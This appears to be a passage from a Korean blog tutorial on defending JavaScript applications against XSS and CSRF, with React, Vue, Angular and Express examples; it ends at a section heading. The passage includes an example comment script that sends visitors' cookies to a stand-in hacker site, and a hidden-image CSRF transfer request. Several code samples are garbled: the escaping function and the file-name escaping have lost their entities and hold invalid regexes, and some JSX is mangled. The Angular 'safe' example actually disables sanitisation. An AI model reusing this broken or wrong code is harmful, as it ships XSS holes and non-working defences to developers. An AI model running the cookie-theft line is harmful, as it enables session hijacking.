자바스크립트 보안의 모든 것: XSS와 CSRF 방어 기법 완전정복 가이드 🛡️

콘텐츠 대표 이미지 - 자바스크립트 보안의 모든 것: XSS와 CSRF 방어 기법 완전정복 가이드 🛡️

 

 

JS XSS 공격 CSRF 공격 방어 기법 보안 대책 자바스크립트 보안: XSS와 CSRF 방어 기법

안녕하세요, 개발자 여러분! 🙌 오늘은 2025년 3월 22일, 웹 개발의 가장 뜨거운 감자 중 하나인 자바스크립트 보안에 대해 깊이 파헤쳐 볼게요. 특히 XSS와 CSRF라는 두 가지 주요 공격 유형과 이에 대한 방어 기법을 완전 정복해봅시다!

요즘 웹 개발 트렌드 보면 자바스크립트가 거의 '갓(God)바스크립트'급으로 떠오르고 있죠? ㅋㅋㅋ 근데 이렇게 강력한 힘엔 항상 큰 책임이 따르는 법! 보안에 소홀하면 여러분의 멋진 웹 애플리케이션이 해커들의 놀이터가 될 수 있어요. 😱

이 글에서는 실무에서 바로 적용할 수 있는 자바스크립트 보안 기법들을 알려드릴게요. 재능넷 같은 사용자 간 재능을 거래하는 플랫폼을 운영하신다면 특히 더 중요한 내용이니 끝까지 읽어주세요!

📚 목차

  1. XSS(Cross-Site Scripting)란 무엇인가?
  2. CSRF(Cross-Site Request Forgery)의 이해
  3. 자바스크립트 보안의 중요성
  4. XSS 방어 기법 마스터하기
  5. CSRF 방어 전략
  6. 프레임워크별 보안 기능 활용하기
  7. 실전 코드 예제로 배우는 보안 구현
  8. 2025년 최신 보안 트렌드
  9. 보안 체크리스트

1. XSS(Cross-Site Scripting)란 무엇인가? 🤔

XSS는 웹사이트 방문자의 브라우저에 악성 스크립트를 주입하는 공격이에요. 이게 왜 무서운지 아세요? 해커가 여러분의 웹사이트를 통해 사용자의 쿠키를 훔치거나, 세션을 가로채거나, 심지어 전체 웹페이지를 변조할 수도 있거든요! 😨

XSS 공격의 세 가지 유형

  1. 저장형 XSS(Stored XSS): 악성 스크립트가 서버에 저장되어 다른 사용자가 페이지를 방문할 때 실행됨
  2. 반사형 XSS(Reflected XSS): URL 파라미터 등을 통해 전달된 악성 스크립트가 즉시 반사되어 실행됨
  3. DOM 기반 XSS(DOM-based XSS): 클라이언트 측 자바스크립트가 안전하지 않은 방식으로 DOM을 조작할 때 발생

XSS 공격이 어떻게 일어나는지 간단한 예시를 볼까요? 예를 들어, 댓글 기능이 있는 블로그에서 누군가 이런 댓글을 남긴다고 상상해보세요:

<script>
  document.location='https://해커사이트.com/steal.php?cookie='+document.cookie;
</script>

이 스크립트가 필터링 없이 저장되고 실행된다면? 다른 사용자들이 이 댓글이 있는 페이지를 방문할 때마다 그들의 쿠키 정보가 해커에게 전송되는 거예요! 😱 이런 게 바로 저장형 XSS의 간단한 예시죠.

XSS 공격은 2025년에도 여전히 OWASP Top 10 웹 애플리케이션 보안 위험 중 하나로 남아있어요. 특히 최근에는 SPA(Single Page Application)와 API 기반 아키텍처가 보편화되면서 DOM 기반 XSS 공격이 더 교묘해지고 있답니다.

2. CSRF(Cross-Site Request Forgery)의 이해 🕵️‍♀️

CSRF는 "씨서프"라고 읽는데요, 이 공격은 인증된 사용자가 자신도 모르게 악성 요청을 보내도록 속이는 방식이에요. 쉽게 말해서, 해커가 "야, 너 몰래 이거 클릭해봐~" 하는 느낌? ㅋㅋㅋ

사용자 해커 사이트 정상 사이트 1. 악성 사이트 방문 2. 자동 요청 발생 3. 인증된 상태(쿠키) CSRF 공격 흐름도

CSRF 공격이 작동하는 방식은 이렇습니다:

  1. 사용자가 은행 사이트에 로그인하고 인증 쿠키를 받음
  2. 로그아웃하지 않은 상태에서 해커의 사이트를 방문
  3. 해커 사이트에는 은행 사이트로 자금 이체 요청을 보내는 코드가 숨겨져 있음
  4. 사용자의 브라우저는 은행 사이트에 대한 인증 쿠키를 자동으로 포함시켜 요청을 보냄
  5. 은행 사이트는 유효한 쿠키를 가진 정상 요청으로 인식하고 처리함

간단한 CSRF 공격 예시 코드를 볼까요?

<!-- 해커의 웹사이트에 있는 코드 -->
<img src="https://bank.example.com/transfer?to=hacker&amount=1000000" style="display:none">

이 코드가 있는 페이지를 방문하면, 브라우저는 자동으로 해당 URL로 요청을 보내고, 만약 사용자가 bank.example.com에 로그인된 상태라면 실제로 송금이 이루어질 수 있어요! 😱

CSRF 공격은 사용자가 의도하지 않은 행동을 수행하게 만들기 때문에 특히 금융 거래, 비밀번호 변경, 이메일 변경 같은 중요한 작업에서 위험해요. 재능넷과 같은 거래 플랫폼에서는 결제나 계정 정보 변경 시 특히 CSRF 방어가 중요하죠!

3. 자바스크립트 보안의 중요성 🔐

자바스크립트는 현대 웹의 핵심이지만, 그만큼 보안 위협의 중심에 있기도 해요. 2025년 현재, 자바스크립트 생태계는 더욱 복잡해졌고 그만큼 보안 취약점도 다양해졌어요.

자바스크립트 보안이 중요한 이유 💡

  1. 클라이언트 측 실행: 사용자의 브라우저에서 직접 실행되기 때문에 조작이 쉬움
  2. 동적 타입: 타입 체크가 런타임에 이루어져 예상치 못한 동작 발생 가능
  3. eval() 같은 위험한 함수: 문자열을 코드로 실행할 수 있어 악용 가능성 높음
  4. 서드파티 라이브러리: npm 패키지 의존성이 보안 위험을 증가시킴
  5. 프레임워크 복잡성: React, Vue, Angular 등의 복잡한 프레임워크는 새로운 보안 문제 발생

여러분, 솔직히 말해서 자바스크립트 보안은 좀 귀찮을 수 있어요. "아 그냥 기능 구현하는 것도 바쁜데..." 이런 생각 들죠? ㅋㅋㅋ 근데 보안 사고 한 번 터지면 그동안 귀찮았던 것의 100배는 더 귀찮아진다는 거 아시죠? 😅

특히 재능넷 같은 플랫폼에서는 사용자 간 거래가 이루어지기 때문에 보안이 더욱 중요해요. 한 번의 보안 사고로 사용자들의 신뢰를 잃을 수 있고, 그건 비즈니스의 생존과 직결되니까요!

2024년 말에 발표된 OWASP 보안 보고서에 따르면, 웹 애플리케이션 공격의 약 68%가 클라이언트 측 자바스크립트 취약점을 노린 것이라고 해요. 이 수치는 2023년보다 12% 증가한 거라 점점 더 심각해지고 있는 상황이에요.

4. XSS 방어 기법 마스터하기 🛡️

이제 본격적으로 XSS 공격을 막는 방법을 알아볼게요! 여러분의 웹사이트를 해커들의 놀이터로 만들지 않으려면 아래 방법들을 꼭 적용해보세요.

4.1 입력 데이터 검증 및 이스케이프 처리

모든 사용자 입력은 잠재적인 공격 벡터로 간주해야 해요. 사용자가 입력한 데이터를 그대로 표시하면 XSS 공격에 취약해져요. 이를 방지하기 위한 코드를 살펴볼까요?

// 🚫 이렇게 하면 위험해요!
document.getElementById('userContent').innerHTML = userInput;

// ✅ 이렇게 이스케이프 처리를 해주세요
function escapeHTML(str) {
  return str
    .replace(/&/g, '&')
    .replace(//g, '>')
    .replace(/"/g, '"')
    .replace(/'/g, ''');
}

document.getElementById('userContent').textContent = userInput; // 더 안전한 방법
// 또는
document.getElementById('userContent').innerHTML = escapeHTML(userInput);

2025년에는 더 많은 개발자들이 textContentinnerText를 사용하는 추세예요. innerHTML은 XSS 공격에 취약하니 꼭 필요한 경우가 아니라면 피하는 게 좋아요!

4.2 콘텐츠 보안 정책(CSP) 구현하기

CSP는 브라우저에게 "이 출처의 스크립트만 실행해도 돼!"라고 알려주는 HTTP 헤더예요. 이걸 설정하면 인라인 스크립트나 eval() 같은 위험한 자바스크립트 기능을 차단할 수 있어요.

// 서버 측에서 다음과 같은 HTTP 헤더를 설정
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;

이 헤더는 자기 도메인과 trusted-cdn.com에서 온 스크립트만 실행하도록 브라우저에 지시해요. 2025년 기준으로 모든 최신 브라우저는 CSP를 지원하니 적극 활용하세요!

4.3 HttpOnly 및 Secure 쿠키 사용

쿠키는 XSS 공격의 주요 타겟이에요. 특히 인증 토큰이 담긴 쿠키는 더더욱! HttpOnly 플래그를 설정하면 자바스크립트로 쿠키에 접근할 수 없게 되어 XSS 공격으로부터 보호할 수 있어요.

// 서버 측에서 쿠키 설정 시
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly는 자바스크립트로 쿠키 접근을 차단하고, Secure는 HTTPS 연결에서만 쿠키 전송을 허용해요. SameSite는 CSRF 공격도 방지해주는 보너스!

4.4 DOMPurify 라이브러리 활용하기

HTML을 안전하게 처리하려면 DOMPurify 같은 검증된 라이브러리를 사용하는 게 좋아요. 이 라이브러리는 위험한 코드를 제거하면서도 안전한 HTML은 허용해줘요.

// npm install dompurify

import DOMPurify from 'dompurify';

const userInput = '<script>alert("해킹 당했어요!")</script><p>안녕하세요</p>';
const clean = DOMPurify.sanitize(userInput);

// 결과: "<p>안녕하세요</p>"
document.getElementById('userContent').innerHTML = clean;

2025년 현재 DOMPurify는 버전 4.2.0까지 나왔고, XSS 방어에 있어 업계 표준으로 자리 잡았어요. 재능넷 같은 사용자 생성 콘텐츠가 많은 플랫폼에서는 필수적인 도구죠!

4.5 프레임워크의 보안 기능 활용하기

React, Vue, Angular 같은 현대적인 프레임워크들은 기본적으로 XSS 방어 기능을 내장하고 있어요. 이런 기능을 우회하지 말고 적극 활용하세요!

// React에서는 기본적으로 이스케이프 처리를 해줍니다
function UserProfile({ userData }) {
  return (
    <div>
      {/* 안전하게 렌더링됨 */}
      <p>{userData.bio}</p>
      
      {/* 위험! XSS 취약점 발생 가능 */}
      <div dangerouslysetinnerhtml="{{" __html: userdata.bio></div>
    </div>
  );
}

React의 dangerouslySetInnerHTML, Vue의 v-html, Angular의 [innerHTML] 같은 기능은 이름에서 알 수 있듯이 위험해요! 꼭 필요한 경우가 아니라면 사용을 피하고, 사용할 때는 반드시 DOMPurify 같은 라이브러리로 먼저 정화해주세요.

5. CSRF 방어 전략 🔒

이제 CSRF 공격을 막는 방법을 알아볼게요. CSRF는 XSS보다 덜 알려져 있지만, 그만큼 방어하기 쉽게 간과되는 경우가 많아요!

5.1 CSRF 토큰 사용하기

가장 효과적인 CSRF 방어 방법은 각 요청마다 고유한 토큰을 포함시키는 거예요. 이 토큰은 서버에서 생성하고 검증하며, 해커는 이 토큰을 알 수 없어요.

// 서버에서 CSRF 토큰 생성 (예: Express.js)
app.get('/form', (req, res) => {
  const csrfToken = generateRandomToken();
  req.session.csrfToken = csrfToken;
  res.render('form', { csrfToken });
});

// HTML 폼에 토큰 포함
<form action="/submit" method="POST">
  <input type="hidden" name="csrf_token" value="{{csrfToken}}">
  <!-- 폼 필드들 -->
  <button type="submit">제출</button>
</form>

// AJAX 요청에 토큰 포함
fetch('/api/data', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
  },
  body: JSON.stringify(data)
});

CSRF 토큰은 각 사용자 세션마다 고유해야 하고, 예측할 수 없어야 해요. 토큰이 노출되지 않도록 주의하세요!

5.2 SameSite 쿠키 속성 활용하기

현대 브라우저들은 SameSite 쿠키 속성을 지원해요. 이 속성을 설정하면 다른 사이트에서 오는 요청에 쿠키를 포함시키지 않아 CSRF 공격을 효과적으로 방어할 수 있어요.

// 서버 측에서 쿠키 설정 시
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly

SameSite 속성에는 세 가지 값이 있어요:

  1. Strict: 같은 사이트에서 온 요청에만 쿠키 전송 (가장 안전)
  2. Lax: 대부분의 크로스 사이트 요청에는 쿠키를 보내지 않지만, 사용자가 링크를 클릭해 이동할 때는 허용 (기본값)
  3. None: 모든 크로스 사이트 요청에 쿠키 전송 (Secure 플래그 필수)

2025년 현재 Chrome, Firefox, Safari 등 모든 주요 브라우저는 기본적으로 SameSite=Lax를 적용하고 있어요. 하지만 더 안전하게 Strict로 설정하는 것을 권장해요!

5.3 Origin 및 Referer 헤더 검증

서버에서 요청의 Origin이나 Referer 헤더를 검사하여 요청이 정상적인 출처에서 왔는지 확인할 수 있어요.

// Express.js에서 Origin 헤더 검증 예시
app.post('/api/transfer', (req, res) => {
  const origin = req.headers.origin;
  const referer = req.headers.referer;
  
  // 허용된 출처인지 확인
  if (origin !== 'https://myapp.com' && !referer.startsWith('https://myapp.com')) {
    return res.status(403).json({ error: '유효하지 않은 요청 출처' });
  }
  
  // 정상 처리 계속...
});

이 방법은 보조적인 방어책으로 사용하는 것이 좋아요. 헤더는 조작될 수 있기 때문에 CSRF 토큰과 함께 사용하세요!

5.4 Double Submit Cookie 패턴

세션 없이 CSRF를 방어하고 싶다면 Double Submit Cookie 패턴을 고려해보세요. 이 방식은 쿠키에 토큰을 저장하고, 같은 토큰을 요청 파라미터로도 전송하는 방식이에요.

// 클라이언트 측
// 페이지 로드 시 CSRF 토큰 생성 및 쿠키 설정
const csrfToken = generateRandomToken();
document.cookie = `csrf_token=${csrfToken}; SameSite=Strict; Secure`;

// 폼 제출 시 토큰 포함
document.getElementById('myForm').addEventListener('submit', function(e) {
  const tokenInput = document.createElement('input');
  tokenInput.type = 'hidden';
  tokenInput.name = 'csrf_token';
  tokenInput.value = getCookie('csrf_token');
  this.appendChild(tokenInput);
});

// 서버 측
app.post('/api/action', (req, res) => {
  const cookieToken = req.cookies.csrf_token;
  const formToken = req.body.csrf_token;
  
  if (!cookieToken || !formToken || cookieToken !== formToken) {
    return res.status(403).json({ error: 'CSRF 검증 실패' });
  }
  
  // 정상 처리 계속...
});

이 패턴의 장점은 서버 측 세션 저장소가 필요 없다는 거예요. SPA(Single Page Application)에서 특히 유용하게 사용될 수 있어요!

6. 프레임워크별 보안 기능 활용하기 🛠️

현대 웹 개발에서는 프레임워크를 사용하는 경우가 대부분이죠. 각 프레임워크는 보안 기능을 내장하고 있어요. 이걸 활용하지 않는 건 정말 아깝잖아요? ㅋㅋㅋ

6.1 React에서의 보안

React는 기본적으로 모든 데이터를 이스케이프 처리하여 XSS를 방지해요. 하지만 몇 가지 주의할 점이 있어요:

// 🚫 위험한 방법
function Comment({ data }) {
  return <div dangerouslySetInnerHTML={{ __html: data.comment }} />;
}

// ✅ 안전한 방법
import DOMPurify from 'dompurify';

function Comment({ data }) {
  // HTML이 꼭 필요한 경우에만 사용하고, 반드시 정화 처리
  const cleanHTML = DOMPurify.sanitize(data.comment);
  return <div dangerouslySetInnerHTML={{ __html: cleanHTML }} />;
}

React에서 CSRF 방어는 주로 API 요청 시 처리해야 해요. Axios 인터셉터를 사용하면 모든 요청에 CSRF 토큰을 자동으로 포함시킬 수 있어요:

// Axios 인터셉터로 CSRF 토큰 추가
import axios from 'axios';

axios.interceptors.request.use(config => {
  const token = document.querySelector('meta[name="csrf-token"]').content;
  config.headers['X-CSRF-Token'] = token;
  return config;
});

6.2 Vue.js에서의 보안

Vue.js도 React와 마찬가지로 기본적으로 콘텐츠를 이스케이프 처리해요. v-html 디렉티브를 사용할 때 주의하세요:

<!-- 🚫 위험한 방법 -->
<div v-html="userComment"></div>

<!-- ✅ 안전한 방법 -->
<script>
import DOMPurify from 'dompurify';

export default {
  computed: {
    safeComment() {
      return DOMPurify.sanitize(this.userComment);
    }
  }
}
</script>

<div v-html="safeComment"></div>

Vue에서 CSRF 토큰을 관리하려면 Vuex 스토어와 axios 인터셉터를 조합하는 것이 좋아요:

// Vuex 스토어에 CSRF 토큰 저장
const store = createStore({
  state: {
    csrfToken: document.querySelector('meta[name="csrf-token"]').content
  }
});

// Axios 인터셉터 설정
axios.interceptors.request.use(config => {
  config.headers['X-CSRF-Token'] = store.state.csrfToken;
  return config;
});

6.3 Angular에서의 보안

Angular는 보안에 특히 신경을 많이 쓴 프레임워크예요. 기본적으로 모든 값을 이스케이프 처리하고, 신뢰할 수 있는 값만 허용하는 정책을 가지고 있어요.

// 🚫 위험할 수 있는 방법
<div [innerHTML]="userComment"></div>

// ✅ 안전한 방법
import { DomSanitizer } from '@angular/platform-browser';

@Component({...})
export class CommentComponent {
  constructor(private sanitizer: DomSanitizer) {}
  
  getSafeHTML(html: string) {
    // Angular의 내장 sanitizer 사용
    // 더 엄격한 정화가 필요하면 DOMPurify도 함께 사용
    return this.sanitizer.bypassSecurityTrustHtml(html);
  }
}

Angular는 HttpClient를 통해 CSRF 보호를 쉽게 구현할 수 있어요:

// HttpClientXsrfModule 설정
@NgModule({
  imports: [
    HttpClientModule,
    HttpClientXsrfModule.withOptions({
      cookieName: 'XSRF-TOKEN',
      headerName: 'X-XSRF-TOKEN',
    }),
  ],
})
export class AppModule {}

프레임워크의 보안 기능을 최대한 활용하면 많은 보안 위협을 자동으로 방어할 수 있어요. 하지만 프레임워크만 믿고 안심하지 마세요! 추가적인 보안 조치도 함께 적용하는 것이 중요해요.

7. 실전 코드 예제로 배우는 보안 구현 💻

이론은 충분히 배웠으니 이제 실전 코드로 보안을 구현해볼까요? 재능넷 같은 플랫폼에서 활용할 수 있는 실용적인 예제를 준비했어요!

7.1 안전한 댓글 시스템 구현하기

사용자가 작성한 댓글을 안전하게 표시하는 방법을 알아봅시다:

// 프론트엔드 (React 예시)
import DOMPurify from 'dompurify';
import { marked } from 'marked';

function CommentDisplay({ comment }) {
  // 마크다운을 지원하면서도 안전한 HTML로 변환
  const createSafeHTML = (content) => {
    // 마크다운을 HTML로 변환
    const rawHTML = marked(content);
    // HTML 정화 처리
    const cleanHTML = DOMPurify.sanitize(rawHTML, {
      ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'code'],
      ALLOWED_ATTR: ['href', 'target', 'rel']
    });
    return { __html: cleanHTML };
  };

  return (
    <div classname="comment">
      <div classname="comment-author">{comment.author}</div>
      <div classname="comment-content" dangerouslysetinnerhtml="{createSafeHTML(comment.content)}"></div>
    </div>
  );
}

이 코드는 마크다운 형식의 댓글을 지원하면서도 XSS 공격을 방지해요. DOMPurify의 ALLOWED_TAGSALLOWED_ATTR 옵션으로 허용할 태그와 속성을 제한했어요.

7.2 안전한 결제 폼 구현하기

결제 같은 중요한 작업에는 CSRF 방어가 필수적이에요:

// 백엔드 (Node.js + Express 예시)
const express = require('express');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');

const app = express();
app.use(cookieParser());
app.use(express.json());
app.use(express.urlencoded({ extended: true }));

// CSRF 보호 미들웨어 설정
const csrfProtection = csrf({ cookie: { 
  httpOnly: true,
  secure: process.env.NODE_ENV === 'production',
  sameSite: 'strict'
}});

// 결제 폼 페이지
app.get('/payment', csrfProtection, (req, res) => {
  // CSRF 토큰을 템플릿에 전달
  res.render('payment', { csrfToken: req.csrfToken() });
});

// 결제 처리 API
app.post('/api/process-payment', csrfProtection, (req, res) => {
  // CSRF 토큰이 유효하면 이 코드가 실행됨
  // 결제 처리 로직...
  res.json({ success: true });
});

// 프론트엔드 (HTML + JavaScript)
<form id="paymentForm">
  <input type="hidden" name="_csrf" value="{{csrfToken}}">
  <!-- 결제 정보 입력 필드들 -->
  <button type="submit">결제하기</button>
</form>

<script>
document.getElementById('paymentForm').addEventListener('submit', async (e) => {
  e.preventDefault();
  const formData = new FormData(e.target);
  
  try {
    const response = await fetch('/api/process-payment', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        // CSRF 토큰을 헤더에도 포함
        'X-CSRF-Token': formData.get('_csrf')
      },
      body: JSON.stringify(Object.fromEntries(formData))
    });
    
    const result = await response.json();
    if (result.success) {
      alert('결제가 완료되었습니다!');
    }
  } catch (error) {
    console.error('결제 처리 중 오류 발생:', error);
    alert('결제 처리 중 오류가 발생했습니다.');
  }
});
</script>

이 예제에서는 csurf 라이브러리를 사용해 CSRF 보호를 구현했어요. 토큰은 폼 필드와 HTTP 헤더 모두에 포함되어 이중으로 검증돼요.

7.3 안전한 파일 업로드 구현하기

파일 업로드는 보안 위험이 큰 기능이에요. XSS 공격뿐만 아니라 서버 측 취약점도 노출될 수 있어요:

// 백엔드 (Node.js + Express + Multer 예시)
const express = require('express');
const multer = require('multer');
const path = require('path');
const crypto = require('crypto');

const app = express();

// 파일 확장자 검증 함수
const validateFileType = (file) => {
  // 허용된 MIME 타입
  const allowedTypes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
  // 허용된 확장자
  const allowedExtensions = ['.jpg', '.jpeg', '.png', '.gif', '.pdf'];
  
  const mimeTypeValid = allowedTypes.includes(file.mimetype);
  const extname = path.extname(file.originalname).toLowerCase();
  const extensionValid = allowedExtensions.includes(extname);
  
  return mimeTypeValid && extensionValid;
};

// 파일 저장 설정
const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    cb(null, 'uploads/');
  },
  filename: (req, file, cb) => {
    // 원본 파일명 대신 랜덤 이름 사용
    const randomName = crypto.randomBytes(16).toString('hex');
    const extension = path.extname(file.originalname).toLowerCase();
    cb(null, `${randomName}${extension}`);
  }
});

// 파일 업로드 미들웨어
const upload = multer({
  storage,
  limits: {
    fileSize: 5 * 1024 * 1024, // 5MB 제한
  },
  fileFilter: (req, file, cb) => {
    if (validateFileType(file)) {
      cb(null, true);
    } else {
      cb(new Error('지원하지 않는 파일 형식입니다.'), false);
    }
  }
});

// 파일 업로드 API
app.post('/api/upload', upload.single('file'), (req, res) => {
  if (!req.file) {
    return res.status(400).json({ error: '파일이 업로드되지 않았습니다.' });
  }
  
  // 업로드된 파일의 URL 생성 (실제 도메인으로 변경 필요)
  const fileUrl = `https://example.com/uploads/${req.file.filename}`;
  
  res.json({
    success: true,
    fileUrl,
    // 원본 파일명은 XSS 위험이 있으므로 이스케이프 처리
    originalName: req.file.originalname.replace(//g, '>')
  });
});

이 코드는 파일 업로드 시 다음과 같은 보안 조치를 취하고 있어요:

  1. 허용된 파일 형식만 업로드 가능
  2. 파일 크기 제한
  3. 원본 파일명 대신 랜덤 이름 사용
  4. 파일명에 포함될 수 있는 XSS 코드 이스케이프 처리

파일 업로드는 항상 주의해야 해요! 악성 파일이 서버에 업로드되면 심각한 보안 사고로 이어질 수 있어요. 가능하다면 AWS S3 같은 전문 스토리지 서비스를 사용하는 것도 좋은 방법이에요.

8. 2025년 최신 보안 트렌드 🔮

2025년 현재, 자바스크립트 보안 분야에는 어떤 트렌드가 있을까요? 최신 동향을 살펴보고 미리 대비해봅시다!

8.1 제로 트러스트 아키텍처

"아무것도 신뢰하지 말고, 항상 검증하라"는 철학의 제로 트러스트 접근 방식이 프론트엔드 개발에도 적용되고 있어요. 사용자 입력뿐만 아니라 API 응답, 서드파티 라이브러리까지 모두 검증하는 추세예요.

// API 응답 데이터 검증 예시
import { z } from 'zod';

// 데이터 스키마 정의
const UserSchema = z.object({
  id: z.number(),
  name: z.string().min(1).max(100),
  email: z.string().email(),
  role: z.enum(['user', 'admin', 'moderator'])
});

// API 호출 및 검증
async function fetchUser(id) {
  try {
    const response = await fetch(`/api/users/${id}`);
    const data = await response.json();
    
    // 데이터 검증
    const validatedUser = UserSchema.parse(data);
    return validatedUser;
  } catch (error) {
    if (error instanceof z.ZodError) {
      console.error('API 응답 데이터가 유효하지 않습니다:', error.errors);
    }
    throw error;
  }
}

Zod, Yup, Joi 같은 스키마 검증 라이브러리를 사용하면 API 응답 데이터를 안전하게 검증할 수 있어요. 이는 XSS 공격 벡터를 줄이는 데 도움이 돼요.

8.2 웹 컴포넌트와 섀도우 DOM 보안